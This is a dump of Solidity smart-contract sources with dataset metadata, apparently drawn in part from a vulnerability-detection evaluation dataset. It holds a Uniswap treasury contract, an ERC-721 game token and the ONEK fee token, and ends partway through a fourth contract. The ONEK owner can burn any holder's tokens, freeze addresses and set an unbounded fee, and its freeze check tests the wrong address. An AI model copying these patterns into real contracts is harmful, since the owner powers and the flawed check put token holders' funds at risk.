contracts/mainnet/10/1058AFe66BB5b79C295CCCE51016586949Bc4e8d_Treasury.sol
2,808
10,422
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } pragma abicoder v2; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom(address token, address from, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success,) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } interface ITreasury { function fundOracle(address oracle, uint256 amount) external; function creditVault() external payable; function debitVault(address destination, uint256 amount) external; } interface ITrading { function fundVault() external payable; function settleNewPosition(uint256 positionId, uint256 price) external; function cancelPosition(uint256 positionId) external; function settleCloseOrder(uint256 positionId, uint256 price) external; function cancelOrder(uint256 positionId) external; function liquidatePositions(uint256[] calldata positionIds, uint256[] calldata prices) external; } interface IUniswapRouter is ISwapRouter { function refundETH() external payable; } contract Treasury is ITreasury { // Contract dependencies address public owner; address public trading; address public oracle; // Uniswap arbitrum addresses IUniswapRouter public constant uniswapRouter = IUniswapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); //address public constant CAP = 0x031d35296154279dc1984dcd93e392b1f946737b; // Arbitrum address public constant WETH9 = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1; // Treasury can sell assets, hedge, support Cap ecosystem, etc. uint256 public vaultBalance; uint256 public vaultThreshold = 10 ether; // Events event Swap(uint256 amount, uint256 amountOut, uint256 amountOutMinimum, address tokenIn, address tokenOut, uint24 poolFee); constructor() { owner = msg.sender; } function creditVault() external override payable { uint256 amount = msg.value; if (amount == 0) return; if (vaultBalance + amount > vaultThreshold) { vaultBalance = vaultThreshold; } else { vaultBalance += amount; } } function debitVault(address destination, uint256 amount) external override onlyTrading { if (amount == 0) return; require(amount <= vaultBalance, "!vault-insufficient"); vaultBalance -= amount; payable(destination).transfer(amount); } // Move funds to vault internally function fundVault(uint256 amount) external onlyOwner { require(amount < address(this).balance - vaultBalance, "!insufficient"); vaultBalance += amount; } function fundOracle(address destination, uint256 amount) external override onlyOracle { if (amount > address(this).balance - vaultBalance) return; payable(destination).transfer(amount); } function sendETH(address destination, uint256 amount) external onlyOwner { require(amount < address(this).balance - vaultBalance, "!insufficient"); payable(destination).transfer(amount); } function sendToken(address token, address destination, uint256 amount) external onlyOwner { IERC20(token).transfer(destination, amount); } function swap(address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOutMinimum, uint24 poolFee) external onlyOwner { if (tokenIn == WETH9) { require(amountIn < address(this).balance - vaultBalance, "!insufficient"); } // Approve the router to spend tokenIn TransferHelper.safeApprove(tokenIn, address(uniswapRouter), amountIn); ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({ tokenIn: tokenIn, tokenOut: tokenOut, fee: poolFee, recipient: msg.sender, deadline: block.timestamp, amountIn: amountIn, amountOutMinimum: amountOutMinimum, sqrtPriceLimitX96: 0 }); uint256 amountOut; if (tokenIn == WETH9) { amountOut = uniswapRouter.exactInputSingle{value: amountIn}(params); } else { amountOut = uniswapRouter.exactInputSingle(params); } emit Swap(amountIn, amountOut, amountOutMinimum, tokenIn, tokenOut, poolFee); } fallback() external payable {} receive() external payable {} // Owner methods function setParams(uint256 _vaultThreshold) external onlyOwner { vaultThreshold = _vaultThreshold; } function setOwner(address newOwner) external onlyOwner { owner = newOwner; } function setTrading(address _trading) external onlyOwner { trading = _trading; } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; } // Modifiers modifier onlyOwner() { require(msg.sender == owner, "!owner"); _; } modifier onlyTrading() { require(msg.sender == trading, "!trading"); _; } modifier onlyOracle() { require(msg.sender == oracle, "!oracle"); _; } }
48,730
12,170
aad96dc4f3fc738e0b3e7296e1c9740ba80dd2ffa7dff2bb8311e079851a7347
16,926
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x42b5dbf2da50f43956c527d8d4da1e413f950853.sol
4,167
16,409
pragma solidity ^0.4.23; /// @title ERC-165 Standard Interface Detection /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } /// @title ERC-721 Non-Fungible Token Standard /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md contract ERC721 is ERC165 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) external view returns (uint256); function ownerOf(uint256 _tokenId) external view returns (address); function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external; function safeTransferFrom(address _from, address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; function approve(address _approved, uint256 _tokenId) public; function setApprovalForAll(address _operator, bool _approved) external; function getApproved(uint256 _tokenId) external view returns (address); function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /// @title ERC-721 Non-Fungible Token Standard interface ERC721TokenReceiver { function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4); } /// @title ERC-721 Non-Fungible Token Standard, optional metadata extension interface ERC721Metadata { function name() external pure returns (string _name); function symbol() external pure returns (string _symbol); function tokenURI(uint256 _tokenId) external view returns (string); } /// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension interface ERC721Enumerable { function totalSupply() external view returns (uint256); function tokenByIndex(uint256 _index) external view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256); } interface ERC721MetadataProvider { function tokenURI(uint256 _tokenId) external view returns (string); } contract AccessAdmin { bool public isPaused = false; address public addrAdmin; event AdminTransferred(address indexed preAdmin, address indexed newAdmin); constructor() public { addrAdmin = msg.sender; } modifier onlyAdmin() { require(msg.sender == addrAdmin); _; } modifier whenNotPaused() { require(!isPaused); _; } modifier whenPaused { require(isPaused); _; } function setAdmin(address _newAdmin) external onlyAdmin { require(_newAdmin != address(0)); emit AdminTransferred(addrAdmin, _newAdmin); addrAdmin = _newAdmin; } function doPause() external onlyAdmin whenNotPaused { isPaused = true; } function doUnpause() external onlyAdmin whenPaused { isPaused = false; } } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract WonderToken is ERC721, ERC721Metadata, ERC721Enumerable, AccessAdmin { /// @dev All manangers array(tokenId => gene) uint256[] public wonderArray; /// @dev Mananger tokenId vs owner address mapping (uint256 => address) tokenIdToOwner; /// @dev Manangers owner by the owner (array) mapping (address => uint256[]) ownerToWonderArray; /// @dev Mananger token ID search in owner array mapping (uint256 => uint256) tokenIdToOwnerIndex; /// @dev The authorized address for each TTW mapping (uint256 => address) tokenIdToApprovals; /// @dev The authorized operators for each address mapping (address => mapping (address => bool)) operatorToApprovals; /// @dev Trust contract mapping (address => bool) safeContracts; /// @dev Metadata provider ERC721MetadataProvider public providerContract; /// @dev This emits when the approved address for an TTW is changed or reaffirmed. event Approval (address indexed _owner, address indexed _approved, uint256 _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. event ApprovalForAll (address indexed _owner, address indexed _operator, bool _approved); /// @dev This emits when the equipment ownership changed event Transfer (address indexed from, address indexed to, uint256 tokenId); constructor() public { addrAdmin = msg.sender; wonderArray.length += 1; } // modifier /// @dev Check if token ID is valid modifier isValidToken(uint256 _tokenId) { require(_tokenId >= 1 && _tokenId <= wonderArray.length, "TokenId out of range"); require(tokenIdToOwner[_tokenId] != address(0), "Token have no owner"); _; } modifier canTransfer(uint256 _tokenId) { address owner = tokenIdToOwner[_tokenId]; require(msg.sender == owner || msg.sender == tokenIdToApprovals[_tokenId] || operatorToApprovals[owner][msg.sender], "Can not transfer"); _; } // ERC721 function supportsInterface(bytes4 _interfaceId) external view returns(bool) { // ERC165 || ERC721 || ERC165^ERC721 return (_interfaceId == 0x01ffc9a7 || _interfaceId == 0x80ac58cd || _interfaceId == 0x8153916a) && (_interfaceId != 0xffffffff); } function name() public pure returns(string) { return "Token Tycoon Wonders"; } function symbol() public pure returns(string) { return "TTW"; } function tokenURI(uint256 _tokenId) external view returns (string) { if (address(providerContract) == address(0)) { return ""; } return providerContract.tokenURI(_tokenId); } /// @dev Search for token quantity address /// @param _owner Address that needs to be searched /// @return Returns token quantity function balanceOf(address _owner) external view returns(uint256) { require(_owner != address(0), "Owner is 0"); return ownerToWonderArray[_owner].length; } /// @dev Find the owner of an TTW /// @param _tokenId The tokenId of TTW /// @return Give The address of the owner of this TTW function ownerOf(uint256 _tokenId) external view returns (address owner) { return tokenIdToOwner[_tokenId]; } /// @dev Transfers the ownership of an TTW from one address to another address /// @param _from The current owner of the TTW /// @param _to The new owner /// @param _tokenId The TTW to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external whenNotPaused { _safeTransferFrom(_from, _to, _tokenId, data); } /// @dev Transfers the ownership of an TTW from one address to another address /// @param _from The current owner of the TTW /// @param _to The new owner /// @param _tokenId The TTW to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused { _safeTransferFrom(_from, _to, _tokenId, ""); } /// @dev Transfer ownership of an TTW, '_to' must be a vaild address, or the TTW will lost /// @param _from The current owner of the TTW /// @param _to The new owner /// @param _tokenId The TTW to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external whenNotPaused isValidToken(_tokenId) canTransfer(_tokenId) { address owner = tokenIdToOwner[_tokenId]; require(owner != address(0), "Owner is 0"); require(_to != address(0), "Transfer target address is 0"); require(owner == _from, "Transfer to self"); _transfer(_from, _to, _tokenId); } /// @dev Set or reaffirm the approved address for an TTW /// @param _approved The new approved TTW controller /// @param _tokenId The TTW to approve function approve(address _approved, uint256 _tokenId) public whenNotPaused { address owner = tokenIdToOwner[_tokenId]; require(owner != address(0)); require(msg.sender == owner || operatorToApprovals[owner][msg.sender]); tokenIdToApprovals[_tokenId] = _approved; emit Approval(owner, _approved, _tokenId); } /// @dev Enable or disable approval for a third party ("operator") to manage all your asset. /// @param _operator Address to add to the set of authorized operators. /// @param _approved True if the operators is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external whenNotPaused { operatorToApprovals[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /// @dev Get the approved address for a single TTW /// @param _tokenId The TTW to find the approved address for /// @return The approved address for this TTW, or the zero address if there is none function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) { return tokenIdToApprovals[_tokenId]; } /// @dev Query if an address is an authorized operator for another address /// @param _owner The address that owns the TTWs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool) { return operatorToApprovals[_owner][_operator]; } /// @dev Count TTWs tracked by this contract /// @return A count of valid TTWs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address function totalSupply() external view returns (uint256) { return wonderArray.length - 1; } /// @dev Enumerate valid TTWs /// @param _index A counter less than totalSupply /// @return The token identifier for the `_index`th TTW, function tokenByIndex(uint256 _index) external view returns (uint256) { require(_index < wonderArray.length); return _index; } /// @notice Enumerate TTWs assigned to an owner /// @param _owner Token owner address /// @param _index A counter less than balanceOf(_owner) /// @return The TTW tokenId function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { require(_owner != address(0)); require(_index < ownerToWonderArray[_owner].length); return ownerToWonderArray[_owner][_index]; } /// @dev Do the real transfer with out any condition checking /// @param _from The old owner of this TTW(If created: 0x0) /// @param _to The new owner of this TTW /// @param _tokenId The tokenId of the TTW function _transfer(address _from, address _to, uint256 _tokenId) internal { if (_from != address(0)) { uint256 indexFrom = tokenIdToOwnerIndex[_tokenId]; uint256[] storage ttwArray = ownerToWonderArray[_from]; require(ttwArray[indexFrom] == _tokenId); if (indexFrom != ttwArray.length - 1) { uint256 lastTokenId = ttwArray[ttwArray.length - 1]; ttwArray[indexFrom] = lastTokenId; tokenIdToOwnerIndex[lastTokenId] = indexFrom; } ttwArray.length -= 1; if (tokenIdToApprovals[_tokenId] != address(0)) { delete tokenIdToApprovals[_tokenId]; } } tokenIdToOwner[_tokenId] = _to; ownerToWonderArray[_to].push(_tokenId); tokenIdToOwnerIndex[_tokenId] = ownerToWonderArray[_to].length - 1; emit Transfer(_from != address(0) ? _from : this, _to, _tokenId); } /// @dev Actually perform the safeTransferFrom function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) internal isValidToken(_tokenId) canTransfer(_tokenId) { address owner = tokenIdToOwner[_tokenId]; require(owner != address(0)); require(_to != address(0)); require(owner == _from); _transfer(_from, _to, _tokenId); // Do the callback after everything is done to avoid reentrancy attack uint256 codeSize; assembly { codeSize := extcodesize(_to) } if (codeSize == 0) { return; } bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data); // bytes4(keccak256("onERC721Received(address,uint256,bytes)")) = 0xf0b9e5ba; require(retval == 0xf0b9e5ba); } function setSafeContract(address _actionAddr, bool _useful) external onlyAdmin { safeContracts[_actionAddr] = _useful; } function getSafeContract(address _actionAddr) external view onlyAdmin returns(bool) { return safeContracts[_actionAddr]; } function setMetadataProvider(address _provider) external onlyAdmin { providerContract = ERC721MetadataProvider(_provider); } function getOwnTokens(address _owner) external view returns(uint256[]) { require(_owner != address(0)); return ownerToWonderArray[_owner]; } function safeGiveByContract(uint256 _tokenId, address _to) external whenNotPaused { require(safeContracts[msg.sender]); // Only the token's owner is this can use this function require(tokenIdToOwner[_tokenId] == address(this)); require(_to != address(0)); _transfer(address(this), _to, _tokenId); } /// @dev Safe transfer by trust contracts function safeTransferByContract(uint256 _tokenId, address _to) external whenNotPaused { require(safeContracts[msg.sender]); require(_tokenId >= 1 && _tokenId <= wonderArray.length); address owner = tokenIdToOwner[_tokenId]; require(owner != address(0)); require(_to != address(0)); require(owner != _to); _transfer(owner, _to, _tokenId); } function initManager(uint256 _gene, uint256 _count) external { require(safeContracts[msg.sender] || msg.sender == addrAdmin); require(_gene > 0 && _count <= 128); address owner = address(this); uint256[] storage ttwArray = ownerToWonderArray[owner]; uint256 newTokenId; for (uint256 i = 0; i < _count; ++i) { newTokenId = wonderArray.length; wonderArray.push(_gene); tokenIdToOwner[newTokenId] = owner; tokenIdToOwnerIndex[newTokenId] = ttwArray.length; ttwArray.push(newTokenId); emit Transfer(address(0), owner, newTokenId); } } function approveAndCall(address _spender, uint256 _tokenId, bytes _extraData) external whenNotPaused returns (bool success) { TokenRecipient spender = TokenRecipient(_spender); approve(_spender, _tokenId); spender.receiveApproval(msg.sender, _tokenId, this, _extraData); return true; } function getProtoIdByTokenId(uint256 _tokenId) external view returns(uint256 protoId) { if (_tokenId > 0 && _tokenId < wonderArray.length) { return wonderArray[_tokenId]; } } function getOwnerTokens(address _owner) external view returns(uint256[] tokenIdArray, uint256[] protoIdArray) { uint256[] storage ownTokens = ownerToWonderArray[_owner]; uint256 count = ownTokens.length; tokenIdArray = new uint256[](count); protoIdArray = new uint256[](count); for (uint256 i = 0; i < count; ++i) { tokenIdArray[i] = ownTokens[i]; protoIdArray[i] = wonderArray[tokenIdArray[i]]; } } }
189,144
12,171
7a1d525cc90998568225072d7c12595b3e77328b9619ba60cc4839b0f0d16f5a
31,270
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0x0F1A345626D7D969799c75278712c140f7BBF925/contract.sol
3,770
14,271
pragma solidity =0.6.2; contract Initializable { bool private initialized; bool private initializing; modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } uint256[50] private __gap; } contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) public _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } interface ILockLiquidity { function addFeeAndUpdatePrice(uint256 _amount) external; } contract ONEK is Initializable, OwnableUpgradeSafe, ERC20UpgradeSafe { using SafeMath for uint256; mapping (address => bool) public isFrozen; uint256 public transferFee; address public lockLiquidityContract; address public devTreasury; uint256 public devTreasuryPercentage; event Fee(address sender, uint256 amount); function initialize(address _devTreasury) public initializer { __ERC20_init('ONEK', 'ONEK'); __Ownable_init(); // Decimals are set to 18 by default // Total supply is 60000 * 1e18; // 60k tokens _mint(msg.sender, 60000 * 1e18); transferFee = 1e16; // 1% out of 100% which is 1e16 out of 1e18 devTreasury = _devTreasury; devTreasuryPercentage = 10e18; // 10% with 18 decimals } function setDevTreasury(address _devTreasury) public onlyOwner { devTreasury = _devTreasury; } function setDevTreasuryPercentage(uint256 _devTreasuryPercentage) public onlyOwner { devTreasuryPercentage = _devTreasuryPercentage; } function setLockLiquidityContract(address _lockLiquidityContract) public onlyOwner { lockLiquidityContract = _lockLiquidityContract; } /// @notice A 1% fee is applied to every transaction where 90% goes to the lock liquidity contract /// to distribute to locked liquidity providers while the remaining 10% goes to the game treasury function _transfer(address sender, address recipient, uint256 amount) internal override { require(!isFrozen[msg.sender], 'ONEK: Your transfers are frozen'); require(sender != address(0), "ONEK: ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); // ONEK (uint256 fee, uint256 remaining) = calculateFee(amount); // fee * 10 / 100 uint256 devTreasuryFee = fee.mul(devTreasuryPercentage).div(100e18); fee = fee.sub(devTreasuryFee); _balances[sender] = _balances[sender].sub(amount, "ONEK: ERC20: transfer amount exceeds balance"); // Remaining transfer _balances[recipient] = _balances[recipient].add(remaining); // Fee transfer _balances[devTreasury] = _balances[devTreasury].add(devTreasuryFee); _balances[lockLiquidityContract] = _balances[lockLiquidityContract].add(fee); ILockLiquidity(lockLiquidityContract).addFeeAndUpdatePrice(fee); emit Transfer(sender, recipient, remaining); emit Fee(sender, fee); } function burn(address _account, uint256 _amount) public onlyOwner returns (bool) { _burn(_account, _amount); return true; } function extractETHIfStuck() public onlyOwner { payable(owner()).transfer(address(this).balance); } function extractTokenIfStuck(address _token, uint256 _amount) public onlyOwner { ERC20UpgradeSafe(_token).transfer(owner(), _amount); } function freezeTokens(address _of) public onlyOwner { isFrozen[_of] = true; } function unFreezeTokens(address _of) public onlyOwner { isFrozen[_of] = false; } function changeFee(uint256 _fee) public onlyOwner { transferFee = _fee; } function calculateFee(uint256 _amount) internal view returns(uint256 fee, uint256 remaining) { fee = _amount.mul(transferFee).div(1e18); remaining = _amount.sub(fee); } }
248,763
12,172
df7b13ee83bf3e071a849322b8abc221f1f98af77389eebb17d76172a027ab84
37,979
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0xD248537D601f8e062dD36C8e7d26302d51CC653a/contract.sol
4,852
19,065
pragma solidity 0.6.12; // contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } // contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function 